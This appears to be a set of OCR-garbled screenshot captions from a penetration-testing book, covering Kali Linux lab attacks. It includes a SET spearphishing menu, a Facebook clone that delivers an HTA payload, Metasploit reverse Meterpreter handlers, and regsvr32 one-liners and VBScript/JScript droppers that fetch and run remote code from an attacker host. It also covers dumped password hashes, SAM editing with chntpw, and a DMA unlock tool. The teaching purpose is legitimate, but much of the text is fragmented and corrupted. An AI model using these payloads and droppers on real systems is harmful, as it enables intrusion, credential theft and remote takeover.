Spawn a command shell on victim and send back to attacker
Spawn a meterpreter shell on victim and send back to attacker

Spawn a VNC server on victim and send back to attacker
Windows X64 Command Shell, Reverse TCP Inline

Connect back to the attacker (Windows x64), Meterpreter
Execute payload and create an accepting port on remote system
Tunnel communication over HTTP using SSL and use Meterpreter
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The Spearphishing module allows you to specially craft email messages and send
them to a large (or small) number of people with attached fileformat malicious
payloads. If you want to spoof your email address, be sure "Sendmail" is in-
stalled (apt-get install sendmail) and change the config/set_config SENDMAIL=0FF

flag to SENDMAIL=ON.

There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

1) Perform a Mass Email Attack
2) Create a FileFormat Payload
3) Create a Social-Engineering Template






OEBPS/Image00434.jpg
Background session 1? [y/N] y

msf exploit(usermap script) > use post/linux/gather/hashdump
msf post(hashdump) > set session 1

session => 1

msf post(hashdump) > exploit

[+] root:$1$/avpfBI1$x0z8w5SUF9IIv. /DROEILIid. :0:0:root: /root: /bin/bash

[+] sys:$1$fUX6BPOt$Miyc3Up0zQIqz4s5wFDIL0 sys:/dev:/bin/sh

[+] klog:$1$£2ZVMS4K$RIXKI .CmLARhAUE3X9jqP0:103:104: : /home/klog: /bin/false

[+] msfadmin:$1$XN10Zj2c$Rt/zzCH3MLEUWA.ihZjA5/:1000:1000 :msfadmin, , , : /home/msfa|
[dmin: /bin/bash

[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUVEThfcYe/:108:117: PostgreSQL administrator|
.+, :/var/lib/postgresql: /bin/bash

[+] user:$1$HESu9xrH$k.03GO3DGOXTiQRkPMUGZ0:1001:1001:just a user,111,,:/home/us
lex: /bin/bash

[+] service:$1$kR3ue7JZ$7GXELDUpr50hp6cjz3Bu//:1002:1002: , ,, : /home/service: /bin/
lbash

[+] Unshadowed Password File: /root/.msf4/loot/20170605054510 default 192.168.21
3.157_linux.hashes 204496.txt

[*] Post module execution completed
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kkkkkRkk PAYLOADS *AHAAdkkkk

SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
SET Custom Written Document UNC LM SMB Capture Attack
MS15-1080 Microsoft Windows Media Center MCL Vulnerability
MS14-817 Microsoft Word RTF Object Confusion (2014-84-81)
Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-887)
Adobe Flash Player "Button" Remote Code Execution

Adobe CoolType SING Table "uniqueName" Overflow

Adobe Flash Player "newfunction" Invalid Pointer Use
Adobe Collab.collectEmailInfo Buffer Overflow

Adobe Collab.getIcon Buffer Overflow

Adobe JBIG2Decode Memory Corruption Exploit

Adobe PDF Embedded EXE Social Engineering

Adobe util.printf() Buffer Overflow

Custom EXE to VBA (sent via RAR) (RAR required)

Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
Adobe PDF Embedded EXE Social Engineering (NOJS)

Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
Apple QuickTime PICT PnSize Buffer Overflow

Nuance PDF Reader v6.8 Launch Stack Buffer Overflow
Adobe Reader u3D Memory Corruption Vulnerability
MSCOMCTL ActiveX Buffer Overflow (msl2-827)
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msf > workspace -h

Usage:
workspace
workspace
workspace
workspace
workspace
workspace
workspace
workspace

List workspaces

- List workspaces verbosely
[name] Switch workspace

—-a [name] ... Add workspace (s)

-d [name] ... Delete workspace(s)

-D Delete all workspaces

—-r <old><new> Rename workspace

-h Show this help information

msf > workspace -a clientl
[*] Added workspace: clientl
msf > workspace

default
exploitlab

*clientl (* indicates the workspace that you are connected)
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http://192.168.0.116/

L~ X || O Log masuk ke dalam Faceb... X

facebook s

/i For a better experience on Facebook, update your browser.

What do you want to do with Launcher.hta?

Size: 812 KB
From: 192.168.0.116

2 Open

The file won't be saved automatically.
2 Save

= Saveas
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msf> search samba





OEBPS/Image00187.jpg
[*] Processing /root/.set//meta config for ERB directives.
resource (/root/.set//meta config)> use multi/handler

resource (/root/.set//meta config)> set payload windows/meterpreter/reverse http
payload => windows/meterpreter/reverse https

resource (/root/.set//meta config)> set LHOST 192.168.0.116
LHOST => 192.168.0.116

resource (/root/.set//meta config)> set LPORT 443

LPORT => 443

resource (/root/.set//meta config)> set ExitOnSession false
ExitOnSession => false

resource (/root/.set//meta config)> set EnableStageEncoding true
EnableStageEncoding => true

resource (/root/.set//meta config)> exploit -j

[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://192.168.0.116:443
[*] Starting the payload handler...
[*] https://192.168.0.116:443 handling request from 192.168.0.119; (UUID: 5lusos|

msf exploit(handler) > [*] Meterpreter session 1 opened (192.168.0.116:443 -> 19
0400

msf exploit(handler) > sessions

Active sessions

Id Type Information Connection

1 meterpreter x86/windows victim\EISC @ VICTIM 192.168.0.116:443 -> 192.16






OEBPS/Image00429.jpg
Matching Modules

Name Disclosure Date

auxiliary/admin/smb/samba symlink traversal
auxiliary/dos/samba/lsa_addprivs heap
auxiliary/dos/samba/lsa_transnames heap
auxiliary/dos/samba/read nttrans ea list
auxiliary/scanner/rsync/modules list
auxiliary/scanner/smb/ smb_uninit cred

Credential State
exploit/freebsd/samba/trans2open 2003-04-07

exploit/linux/samba/chain reply 2010-06-16
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# nmap -sV -P0 192.168.213.157 -oA results/maintarget

Starting Nmap 7.40 ( https://mmap.org ) at 2017-06-05 05:35 EDT
[Nmap scan report for 192.168.213.157
Host is up (0.00057s latency) .
closed ports
SERVICE VERSION
£tp vsftpd 2.3.4
ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
telnet Linux telnetd
smtp Postfix smtpd
domain ISC BIND 9.4.2
http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
rpcbind 2 (ReC #100000)
netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
exec netkit-rsh rexecd
login?
tcpwrapped
rmiregistry GNU Classpath grmiregistry
shell Metasploitable root shell
nfs 2-4 (REC #100003)
ftp ProFTPD 1.3.1
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set:webattack>2

[-]1 SET supports both HTTP and HTTPS

[-]1 Example: http://www.thisisafakesite.com

set:webattack> Enter the url to clone:facebook.com

[*] HTA Attack Vector selected. Enter your IP, Port, and Payload...
Enter the IP address for the reverse payload (LHOST): 192.168.0.116|
Enter the port for the reverse payload [443]: 443

Select the payload you want to deliver:

1. Meterpreter Reverse HTTPS
2. Meterpreter Reverse HTTP
3. Meterpreter Reverse TCP

Enter the payload number [1-3]: 1

[*] Generating powershell injection code and x86 downgrade attack..
[*] Reverse HTTPS takes a few seconds to calculate..One moment..
No encoder or badchars specified, outputting raw payload

Payload size: 357 bytes
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msf > dl-)_im;;ort- /root/resu]-.ts/maintarget.xml
[*] Importing 'Nmap XML' data

[*] Import: Parsing with 'Nokogiri v1.7.2'
[*] Importing host 192.168.213.157
[*] Successfully imported /root/results/maintarget.xml
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root@kali:~# fdisk -1

Disk /dev/sda: 28.7 GiB, 30752000000 bytes, 60062500 sectors
Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

1/0 size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: dos

Disk identifier: Ox63fdal29

Device Boot Start End Sectors Size Id Type
/dev/sdal * 64 1669119 1669056 815M 17 Hidden HPFS/NTFS
/dev/sda2 1669120 1670527 1408 704K 1 FAT12

Disk /dev/sdb: 238.5 GiB, 256060514304 bytes, 500118192 sectors
Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

1/0 size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: dos

Disk identifier: 0x622d859d

Device Boot Start End Sectors Size Type

/dev/sdbl * 2048 206847 204800  166M HPFS/NTFS/exFAT
/dev/sdb2 206848 251865087 251658240 120G HPFS/NTFS/exFAT
/dev/sdb3 251865088 500115455 248250368 118.4G HPFS/NTFS/exFAT

Disk /dev/loop8: 591.2 MiB, 619929600 bytes, 1210800 sectors
Units: sectors of 1 * 512 = 512 bytes
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OK: xsltproc found.

Checking user configuration ...

WARNING: Your password policy is empty.

SUGGEST: Edit the /etc/openvas/pwpolicy.conf file to set a password policy.

Checking Greenbone Security Assistant (GSA) ...

OK: Greenbone Security Assistant is present in version 6.0.11.

Checking OpenVAS CLI ...

OK: OpenVAS CLI version 1.4.5.

Checking Greenbone Security Desktop (GSD) ...

SKIP: Skipping check for Greenbone Security Desktop.

Checking if OpenVAS services are up and running ...
netstat found, extended checks of the OpenVAS services enabled.
OpenVAS Scanner is running and listening only on the local interface.

OK: OpenVAS Scanner is listening on port 9391, which is the default port.

WARNING: OpenVAS Manager is running and listening only on the local interface.

This means that you will not be able to access the OpenVAS Manager from the

outside using GSD or OpenVAS CLI.

SUGGEST: Ensure that OpenVAS Manager listens on all interfaces unless you want

a local service only.

OK: OpenVAS Manager is listening on port 9390, which is the default port.

OK: Greenbone Security Assistant is listening on port 443, which is the default port.

Checking nmap installation ...

WARNING: Your version of nmap is not fully supported: 7.40

SUGGEST: You should install nmap 5.51 if you plan to use the nmap NSE NVTs.

Checking presence of optional tools ...
pdflatex found.
PDF generation successful. The PDF report format is likely to work.
ssh-keygen found, LSC credential generation for GNU/Linux targets is likely to work.
rpm found, LSC credential package generation for RPM based targets is likely to work.
alien found, LSC credential package generation for DEB based targets is likely to work.
nsis found, LSC credential package generation for Microsoft Windows targets is likely to

It seems like your OpenVAS-8 installation is OK.

If you think it is not OK, please report your observation

and help us to improve this check routine:
http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss

Please attach the log-file (/tmp/openvas-check-setup.log) to help us analyze the problem.
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Exceptions

Socks:

127.0.0.1

[] Use the same proxy server for all protocols

Do ot use proxy server for addresses beginning with:

8090

Use semicolons ( ; ) to separate entries.

oK
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Greenbone Security Assistant - Mozilla Firefox

| & Greenbone Security A.. x | #

€)Da
[ Most Visited v [l Offensive Security "y Kali Linux " Kali Docs "\ Kali Tools EBExploit-DB W Aircrack-ng

//localhost:9392/login/login.html

Username | |

password | |

| Login |
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& 5 X [0 ww. org

Welcome To .Org!

Online portal offering free knowledge in the Information Security fie
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root@kali: ~/Desktop/id_ob-sf/Mobile—Security—Framework—MobSF# python manage.py runs
erver 192.168.0.124:8000
Performing system checks...

Mobile Security Framework v0.9.3.9 Beta

I_ SN N 17
AN/ 707010 O 1N

NV /L N D)
L/ O/ /

Platform: Linux-4.9.0-kalil-amd64-x86_ 64-with-Kali-kali-rolling-kali-rolling
Dist: ('Kali', 'kali-rolling', 'kali-rolling')

[INFO] Finding JDK Location in Linux/MAC....

[INFO] JDK 1.7 or above is available
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<

@© www. rorg

Internet Usage Violation

We apologize thal the web sile thal you are allempling (o access has been aulomalically blocked, as it does nol conform (o our exisling Intranet
& Internet Web Browsing Policy

To read our Intranet & Internet Web Browsing Policy — Click Here

Your IP address.

The requested URL host is: http:/iwww. org/
Which has been categorized as: Computer/information Security; Suspicious

If you have any comment, please e-mail to to request for the site o be unblocked

NOTICE: Intemet Usage is routinely monitored and logged
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© information

File Information [ & | App Information (o]
23 Games_vo.7.1beta_apkpure.com.apk net.slintes.gameList

ERosoms net.slintes.gameList.GameList
3 5397cc74aae3ae6b729e596ab145¢39b p2d win sox BY max sox |

B cdbfe6de6442f7e67d49b3eb3256570134baadds e 0.7.1beta
[EZEE] 0eo122cTb7c0d96e90916ec2a9ed4932a511b9ff21629b1cag6gascfead 10aa6 1505062330

1 0 0 0

ACTIVITIES SERVICES RECEIVERS PROVIDERS

EXPORTED EXPORTED EXPORTED EXPORTED
@ ACTIVITIES SERVICES RECEIVERS PROVIDERS
o o o o

) Start Dynamic Analysi
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Category:

- Session Options controling SSH port forwarding
. L“QIQ‘"Q Port forwarding
L 4 ?"“K‘::bﬁ " Local ports aceept connections from other hosts
i Remote ports do the same (SSH-2 oniy)
| L Features Forwarded ports —
- Window
H Appearance D80s0
.- Behaviour
; ;::;'i:’" R e
i i Colours Source port 2090 Add
5-Connection
&-SSH
Kex
Cipher
Tunnels
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w3af - Web Application Attack and Audit Framework e e O
Profiles Edit View Tools Configuration Help

N B0 o> & [ EH GO A

Scan config H Log 1 Resulis ‘ Exploiti

Profiles Target: [http://192.168.0124 | [»stan] =]
empty_profile Active Plugin

OWASP_TOP10 » B audit

audit_high_risk » [ :auth

bruteforce bruteforce

full_audit evasion

full_audit_spider_man » @ grep

sitemap infrastructure
web_infrastructure » [ mangle
Perform a fast scan of the target site, using only a
few discovery plugins and the fastest audit plugins.
Active Plugin

» B output
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ssh -p 2210 localhost
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msf exploit(regsvr32_ applocker bypass server) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.0.120:4444

[*] Using URL: http://0.0.0.0:8080/trustme

[*] Local IP: http://192.168.213.154:8080/trustme

[*] Server started.

[*] Run the following command on the target machine:

regsvr32 /s /n /u /i:http://192.168.0.120:8080/trustme.sct scrobj.dll
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Greenbone Security Assistant - Mozilla Firefox

| & Greenbone Security A.. x | #*

060

€) D @ |hty

F Most Visited v

localhost 9392/0mp?r=1&token=et

Offensive Security "\ Kali Linux %\ Kali Docs % Kali Tools KBExploit-DB W Aircrack-ng

Logged in as Admin admin | Logout
. Greenbone 99 | Log
4" Security Assistant Sat Mar 11 12:06:48 2017 UTC
Scan Management  Asset Management Seclnfo Management Configuration Extras Administration Help
Tasks (tota: 0) BN HE W S |
Fiter: Ba& ‘ a -vm8

pply_overries=1 rows=10 first=1 sort=name

Reports "
o B s

| [Posly o page comens v | B2 EIEH

Welcome dear new user!
To explore this powerful application and to
have a quick start for doing things the first
time, | am here to assist you with some hints
and short-cuts.

Quick start: Inmediately scan an IP address
IP address or hostname:

|| start Scan

1 will appear automatically in areas where you For this short-cut | will do the following for you:
have created no or only a few objects. And

disappear when you have more than 3

objects. You can call me with this icon B any
time later on

1. Create a new Target with default Port List

2. Create a new Task using this target with default Scan
Configuration

3. Start this scan task right away

4. Switch the view to reload every 30 seconds so you can lean

If you want help creating new scan tasks but Bk et e e Brars

also more options, you can select "Advanced
Task Wizard" from the wizard selection menu
at the top of this window where it currently
says "Task Wizard" marked with a small arrow.

In fact, you must not lean back. As soon as the scan progress is
beyond 1%, you can already jump into the scan report via the link in
the Reports Total column and review the results collected so far.

For more detailed information on functionality,

sty tha ntearatad bk sietern I When creating the Target and Task | will use the default Port List,
. iabL e Ll

Alert, OpenVAS Scan Config, Credentials, OpenVAS Scanner and Slave

wBe 9 ¥ a =
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ssh -R 2210:1localhost:443 -p 443 remotehacker@6l.x.x.142
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/ & Greenbone Security A.. x | http://192.168.0.129/ x

Greenbone Security Assistant - Mozilla Firefox

| € ) @ @ | https://localhost:€

omp?cmd:

i Most Visited v

valdef&fitterbox=

eated rc

Offensive Security “\Kall Linux \ Kali Docs “\ Kali Tools KBExploit-DB W Aircrack-ng

Targets

Sl 2 Wi sl Port Lists
iter: | Credentials.
Fitter: |
Scan configs
First result: [1 | —
Results per page: [10 | Schedules
——— Report Formats
Sort by: | Created v | O ascending ® Descending ctoves
Agents
Scanners

oval:def:29043

oval:def:29489

valfifoval xmi

oval:org. mitre.oval:def:29438

val/5. 10/org. al.xmi.

oval:org. mitre.oval:def:29412

rg.mitre.ovalfifoval xmi

oval:def:29389
Ihttps://localhost:9392/omp?cmd=get._lsc_credentials&toke

i

DRAFT | Filters

Microsoft Access 2003 5P| Tags

DRAFT | Permissions

Microsoft Access 2003 is installed

2 INTERIM  inventory  Fri Aug 7 2015
Microsoft Windows 10 Professional is installed
2 INTERIM inventory  Fri Aug 7 2015

Microsoft Windows 10 Home is installed
2 INTERIM  inventory  Fri Aug 7 2015
Microsoft Windows 10 Enterprise is installed

2 INTERIM  inventory  Fri Aug 7 2015

bbb560-e014-4a96-b72c-39ab04c36878 '

¢ |[Q search

Aug 19 2015
Aug 19 2015
Mon Aug 31 2015
Mon Aug 31 2015
Mon Aug 31 2015

Mon Aug 31 2015

[ Apply |

Severity

N

5|
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root@kali:~# ssh -R 2210:localhost:443 -p 443 roote6l.J142
root@6l. . 142's password:

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Fri May 26 02:14:39 2017 from {am. (. WG

root@kali:~# ssh -p 2210 localhost

The authenticity of host '[localhost]:2210 ([::1]:2210)' can't be established.

ECDSA key fingerprint is SHA256:fztDYLTXbbT1tpgqSBcMelHTCOQTpMT2103+WABKtCS.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '[localhost]:2210' (ECDSA) to the list of known hosts.
root@localhost's password:

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 26 02:14:40 2017 from 10.10.@N. Wl
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root@kali: ~

File Edit View Search Terminal Help

resource (test.rc)> set ExitOnSession false
ExitOnSession => false

resource (test.rc)> exploit -j -z

[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://192.168.1.182:5544

nsf exploit(handler) > [*] Starting the payload handler.

[*] https://192.168.1.182:5544 handling request from 192.168.1.111; (UUID: 1jm9y|
zab) Staging x86 payload (958531 bytes) ...

[*] Meterpreter session 1 opened (192.168.1.102:5544 -> 192.168.1.111:52358) at
2017-85-88 05:08:01 -0400

sessions

Active sessions

Id Type Information Connectio|
0

1 meterpreter x86/windows DESKTOP-GIE32H7\EISC @ DESKTOP-GIE32H7 192.168.1|
.102:5544 -> 192.168.1.111:52350 (192.168.1.111)
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root@kali:~# ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 10.10.WHN.133 netmask 255.255.240.0 broadcast 10.10. Y255
ether mbsildedfefeshisdw txqueuelen 1000 (Ethernet)

RX packets 1164196 bytes 106428284 (101.4 MiB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 6992 bytes 962003 (939.4 KiB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
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meterpreter>timestompC:\\ -r
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chntpw -1 <sam file>
chntpw —u <user><sam file>
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00000220 = Administrators (which has 4 members)

Account bits: 0x0210 =
[ ] Disabled
] Temp. duplicate

fiads Homedir reg. Passwd not req.
ISL

] Domain trust ac | [
gt
[

1 | |

X] Normal account | NMS account |

1 Wks trust act. | Srv trust act |

X] Pwd don't expir ] | |
1 | |

] (unknown ©x10)

[
[
[ Auto lockout (unknown ©x08)

I (unknown 0x20) (unknown ©x40)
Failed login count: 373, while max tries is: @

Total login count: 46

** No NT MD4 hash found. This user probably has a BLANK password!
** No LANMAN hash found either. Try login with no password!

- - User Edit Menu:

- Clear (blank) user password
Unlock and enable user account [probably locked now]
Promote user (make user an administrator)

Remove user from a group
Quit editing user, back to user select

1
2
3
4 Add user to a group
5
q -
Select: [q] > q

Hives that have changed:

# Name

0 <SAM>

Write hive files? (y/n) [n] : y

0 <SAM> - OK
root@kali:/media/root/C45C428A5C4276E8/Windows/Systen32/config# i
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Versom:  6.1.7600.16385
Buid Time:
Path:
C:Windows\SyswOWe4\calc.exe
Command ine:
calc.exe
Current drectory:

C:\sers\Shpongle \Desktop\
Autostart Location:

nia

Comment:

VeusTotal: Submt

Data Execution Prevention (DE) Status: DEP (permanent)
Address Space Load Randomization:  Enabled

By 7 3 /| Windows Event Log
B irport ] Quick Profie Name: “
& [] = Recommended seasity ... |¥| ] Tray fcon @

Experience Tookdt -

Bopot Wowd | Ape T | s v | 2 ety waming o
Fie Configuration System Settngs Reporting nfo
System Status
o =
Data
Enhanced Mitigation Experience Toolkit
Struchn Version 5.2.55%. 19547
©Merasoft Corporation. Al ights reserved.
Address| Magesoft Corporation
Certific o
Running Processes
|Process 1D |Process Name + |Running EMET
| DM - Intemet Dowrload Mansger (M)
3508 dmBrokes - Secker for reading of IOM settings
3540 IEMonitor - internet Download Manager agent for chck monitoring n IE-based bro...
| 4860 iexplore - Internet Explorer L]
|480 iexplore - Intermet Explorer @
15% Isass - Local Security Authority Process
;m ism - Local Session Manager Service:
1290 msdtc - Microsoft Distributed Transaction Coordnator Service
|%020
11)32
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root/C45C428A5C4276EB/Windows/System32/con

File Edit View Terr
root@kali:/media/root/C45C428A5C4276E8/Windows/System32/config# samdump2 SYSTEM SAM

Administ rator:500:aad3b435b51404eeaad3b435b51404ee: 31d6c fe@d16ae931b73c59d7e0c089c0: : :
Guest : 501 : aad3b435b51404eeaad3b435051404ee: 31d6c fe@d16ae931b73c59d7e0cO8ICO: : :
itsupport : 1001 :aad3b435b51404eeaad3b435b51404ee: 08b40bTlce31ea24 /411839 Tbec /bd64: : &
root@kali:/media/root/C45C428A5C4276E8/Windows/System32/config# l
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Security Warning &

Allowing active content such as script and ActiveX controls can be
y- L useful.

However, active content might also harm your computer.

Are you sure you want to let this file run active content?
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root@kali:/media/root/C45C428A5C4276E8/Windows/System32/config# 1s -la | more
otal 147625
[drwx rwxrwx 49152 Jun 17 15:52 .
Jd rwx rwx rwx 655360 Jun 17 15:57 ..

28672 Jun 21 2016 BCD-Template

25600 Jun 21 2016 BCD-Template.LOG

32768000 Jun 17 15:52 COMPONENTS

65536 Jun 21 2016 COMPONENTS{016888b3-6c6f-11de-8d1d
001eObcde3ec} . TM.b1f
- rwxrwxrwx 2 root root 524288 Jun 21 2016 COMPONENTS{016888b9-6c6f-11de-8dld
001eObcde3ec} . TMCont ainer0000000000000000OCR] . regt rans-ms
- rwxrwxrwx 2 root root 524288 Jul 14 2009 COMPONENTS{016888b9-6c6f-11de-8d1ld
001e0Obcde3ec} . TMCont aine roGEEOO0CEOOOOCOOO002 . regt rans -ms
- rwxrwxrwx 2 root root 65536 Sep 29 2016 COMPONENTS{0632cbee-8539-11e6-8404
e4b3181e3fc4} . TM.b1F
- rwxrwxrwx 2 root root 524288 Sep 29 2016 COMPONENTS{0632cbee-8539-11e6-8404
e4b3181e3fc4} . TMCont ainero0EOEOCEECEOEEOOOCEA] . regt rans-ms
- rwxrwxrwx 2 root root 524288 Sep 28 2016 COMPONENTS{0632cbee-8533-11e6-8404
e4b3181e3fc4} . TMCont ainer00000000000000000002. regt rans-ns
- rwxrwxrwx 2 root root 65536 Jun 17 15:04 COMPONENTS{3fda®370-8617-11e6-8d81
e4b3181e3fc4} . TM.b1f
- rwxrwxrwx 2 root root 524288 Jun 15 09:43 COMPONENTS{3fda®370-8617-11e6-8d81
e4b3181le3fcd} . TMContaine roEEEOEEEEEEEEEERRAL . regt rans-ms
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v.8.4.1 (C) Carsten Maartmann-Moe 2617
Download: http://breaknenter.org/projects/inception | Twitter: @breaknenter

Usage: incept module [options]

Inception is a physical memory manipulation and hacking tool exploiting PCI-
based DMA.

Options:

-h, --help show this help message and exit

-1 INTERFACE, --interface=INTERFACE
set the interface to attack through. The default is
FireWire.

-f FILENAME, --filename=FILENAME
use a file instead of FireWire data as input; for
example to facilitate attacks on VMware machine memory
files (.vmem) and to ease testing and signature
creation. Must be used with the "file" interface.

-v, --verbose verbose mode - among other things, this prints read
data to stdout, useful for debugging.

-d DELAY, --delay=DELAY
delay attack by TIME seconds. Useful to increase the
chance that the target machine has successfully
granted the host DMA before attacking. If the attack
fails, try to increase this value. Default delay is 3
seconds.

--sound sound, inception style.

Available modules: businfo, dump, implant, test, unload, unlock. For module-
specific help, type: ./incept [module name] -h/--help. Available interfaces:
file, firewire, slotscreamer.
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Program name:  xowRtMeGhdDx.exe
Publisher: Unknown

File origin: Herd drive on this computer

(%) Show details (v J[he ]

Change when these notifications appear
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mbp:inception carsten$ sudo incept

=4
-1
-
b |
-

=
|
4
-
-l

= |
i |
1
A
=

I |
2 |
~1
i |
Lzl

v.8.2.4 (C) Carsten Maartmann-Moe 2813
Download: http://breaknenter.org/projects/inception | Twitter: @breaknenter

=]
11

FireWire devices on the bus (names may appear blank):

Vendor (ID): MICROSOFT CORP. (@8x58f2) | Product (ID): (8x8)

=]
=1
[+

Only one device present, device auto-selected as target
Selected device: MICROSOFT CORP.
Available targets:

1]
121
31
[a]
51
61
71

1?1
=1

=1
(=1
[

Windows 8: msvl_8.dll NsvpPasswordValidate unlock/privilege escalation
Windows 7: msvl_@.dll MsvpPasswordValidate unlock/privilege escalation
Windows Vista: msvl_8.dll MsvpPasswordValidate unlock/privilege escalation
Windows XP: msvl_@.dll MsvpPasswordValidate unlock/privilege escalation
Mac 0S X: DirectoryService/OpenDirectory unlock/privilege escalation
Ubuntu: libpam unlock/privilege escalation

Linux Mint: libpam unlock/privilege escalation

Please select target (or enter 'q' to quit): 2

Selected target: Windows 7: msvl_8.dll MsvpPasswordValidate unlock/privilege
escalation

Initializing bus and enabling SBP-2, please wait
DMA shields should be down by now. Attacking...

1 seconds or press Ctrl+C

1 2296 MiB ( 54%)

=]
=1
[*]

Signature found at 8x89e22321 (in page # 564778)
Write-back verified; patching successful
BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMNM ! ! |
mbprinception carstens [|





OEBPS/Image00170.jpg





OEBPS/Image00412.jpg
C:\> whoami /groups
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apt—-get install git cmake g++ python3 python3-pip
git clone https://github.com/wertarbyte/forensicl394
cd forensicl394/

cmake CMakelists.txt
sudo make install

cd python/
python3 setup.py install
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c:\>whoami /groups
whoami /groups

GROUP INFORMATION

Well-known s-1-1-0
fault, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known s-1-5-114

BUILTIN\Administrators Alias S-1-5-32-54)

BUILTIN\Users Alias S-1-5-32-54|
fault, Enabled group

NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4
fault, Enabled group

CONSOLE LOGON Well-known group S-1-2-1
fault, Enabled group

NT AUTHORITY\Authenticated Users Well-known group S-1-5-11
fault, Enabled group

NT AUTHORITY\This Organization Well-known group S-1-5-15
fault, Enabled group

NT AUTHORITY\Local account Well-known group S-1-5-113
fault, Enabled group

NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10
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var objShell = new ActiveXObject ("WScript.shell");
objShell.run('regsvr32 /s /n /u
/i:http://192.168.0.120:8080/uN37T7wcYosiHX.sct scrobj.dll"');
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mkdir /mnt/targetl
mount /dev/sda2 /mnt/targetl
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<html>
<head>
<script language="VBScript">
set objShell = CreateObject ("Wscript.Shell")
objShell.Run "regsvr32 /s /n /u
/i:http://192.168.0.120:8080/uN37T7wcYosiHX.sct scrobj.dll"
</script>
</head>
<body>
</body>
</html>





OEBPS/Image00405.jpg
msf exploit(regsvr32 applocker bypass server) > [*] 192.168.0.119 regsvr32 ap|
plocker bypass server - Handling request for the .sct file from 192.168.0.119

[*] 192.168.0.119 regsvr32 applocker bypass server - Delivering payload to 19
2.168.0.119

[*] Sending stage (957487 bytes) to 192.168.0.119

[*] Meterpreter session 1 opened (192.168.0.120:4344 -> 192.168.0.119:49394) at
2017-05-28 01:41:47 -0400
sessions

Active sessions

Id Type Information Connection

1 meterpreter x86/windows victim\EISC @ VICTIM 192.168.0.120:4344 -> 192.1
68.0.119:49394 (192.168.0.119)
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Select Windows PowerShell

virtualbox-iso: C:\Users\vagrant>cmd /c certutil -addstore —-f "Root" A:\microsoft root 2011.cer

virtualbox-iso: Root

virtualbox-iso: Signature matches Public Key

virtualbox-iso: Certificate "CN=Microsoft Root Certificate Authority 2011, O=Microsoft Corporation, L=Redmond, S=Washi
virtualbox-iso: CertUtil: -addstore command completed successfully.

virtualbox-iso:

virtualbox-iso: C:\Users\vagrant>cmd /c certutil -addstore -f "Root"™ A:\thawte primary root.cer

virtualbox-iso: Root

virtualbox-iso: Signature matches Public Key

virtualbox-iso: Certificate "CN=thawte Primary Root CA - G3, OU="(c) 2008 thawte, Inc. - For authorized use only", OUH]

virtualbox-iso: CertUtil: -addstore command completed successfully.
virtualbox-iso:
virtualbox-iso: C:\Users\vagrant>cmd /c certutil -addstore -f "Root"™ A:\utn-userfirst.cer
virtualbox-iso: Root
virtualbox-iso: Signature matches Public Key
virtualbox-iso: Certificate "CN=UTN-USERFirst-Object, OU=http://www.usertrust.com, O=The USERTRUST Network, L=Salt Lal]
virtualbox-iso: CertUtil: -addstore command completed successfully.
virtualbox : Gracefully halting virtual machine...
virtualbox : Removing floppy drive...
virtualbox-iso: Preparing to export machine...
virtualbox-iso: Deleting forwarded port mapping for the communicator (SSH, WinRM, etc) (host port 3554)
virtualbox-iso: Exporting virtual machine...
virtualbox-iso: Executing: export packer-virtualbox-iso-1485700110 --output output-virtualbox-iso\packer-virtualbox-is|
virtualbox-iso: Unregistering and deleting virtual machine...
virtualbox-iso: Running post-processor: vagrant
virtualbox-iso (vagrant): Creating Vagrant box for 'virtualbox' provider
virtualbox-iso (vagrant): Copying from artifact: output-virtualbox-iso\packer-virtualbox-iso-1485700110-diskl.vmdk
virtualbox-iso (vagrant): Copying from artifact: output-virtualbox-iso\packer-virtualbox-iso-1485700110.ovE
virtualbox-iso (vagrant): Renaming the OVF to box.ovf...
virtualbox-iso (vagrant): Using custom Vagrantfile: vagrantfile-windows 2008 r2.template
virtualbox-iso (vagrant): Compressing: Vagrantfile
virtualbox-iso (vagrant): Compressing: box.ovf
virtualbox-iso (vagrant): Compressing: metadata.json
virtualbox-iso (vagrant): Compressing: packer-virtualbox-iso-1485700110-diskl.vmdk
ild 'virtualbox-iso' finished.

> Builds finished. The artifacts of successful builds are:

C:\Hacktools\metasploitable3-master> _
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E¥ Windows PowerShel

PS C:\Hacktools\metasploitable3-master> .\packer.exe build .\windows 2008_r2.json
virtualbox-iso output will be in this color.

> virtualbox-iso: Downloading or copying Guest additions
virtualbox-iso: Downloading or copying: file:///C:/Program$20Files/Oracle/VirtualBox/VBoxGuestAdditions.iso
